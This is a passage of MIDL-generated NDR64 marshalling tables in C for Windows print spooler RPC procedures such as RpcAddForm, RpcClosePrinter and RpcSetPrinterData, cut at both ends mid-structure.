(NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag1081,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag501,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag489_t __midl_frag489 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag486\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag486_t __midl_frag486 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x63,    /* FC64_CONF_CHAR_STRING */\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag484_t __midl_frag484 =\n{ \n/* RPC_FORM_INFO_2 */\n    { \n    /* RPC_FORM_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_FORM_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag489,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 6 /* 0x6 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_FORM_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag483_t __midl_frag483 =\n{ \n/* *RPC_FORM_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag484\n};\n\nstatic const __midl_frag482_t __midl_frag482 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag480_t __midl_frag480 =\n{ \n/* FORM_INFO_1 */\n    { \n    /* FORM_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag482,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag479_t __midl_frag479 =\n{ \n/* *FORM_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag480\n};\n\nstatic const __midl_frag478_t __midl_frag478 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag477_t __midl_frag477 =\n{ \n/* __MIDL_winspool_0005 */\n    { \n    /* __MIDL_winspool_0005 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag478,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag479,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag483,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag476_t __midl_frag476 =\n{ \n/* FORM_CONTAINER */\n    { \n    /* FORM_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag477\n        },\n        { \n        /* FORM_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag473_t __midl_frag473 =\n{ \n/* RpcAddForm */\n    { \n    /* RpcAddForm */      /* procedure RpcAddForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag476,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag471_t __midl_frag471 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag470_t __midl_frag470 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag471\n};\n\nstatic const __midl_frag469_t __midl_frag469 =\n{ \n/* RpcClosePrinter */\n    { \n    /* RpcClosePrinter */      /* procedure RpcClosePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phPrinter */      /* parameter phPrinter */\n        &__midl_frag471,\n        { \n        /* phPrinter */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag463_t __midl_frag463 =\n{ \n/* RpcWaitForPrinterChange */\n    { \n    /* RpcWaitForPrinterChange */      /* procedure RpcWaitForPrinterChange */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag1082,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pFlags */      /* parameter pFlags */\n        &__midl_frag1082,\n        { \n        /* pFlags */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag458_t __midl_frag458 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag503\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag457_t __midl_frag457 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag458\n};\n\nstatic const __midl_frag452_t __midl_frag452 =\n{ \n/* RpcSetPrinterData */\n    { \n    /* RpcSetPrinterData */      /* procedure RpcSetPrinterData */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag1082,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            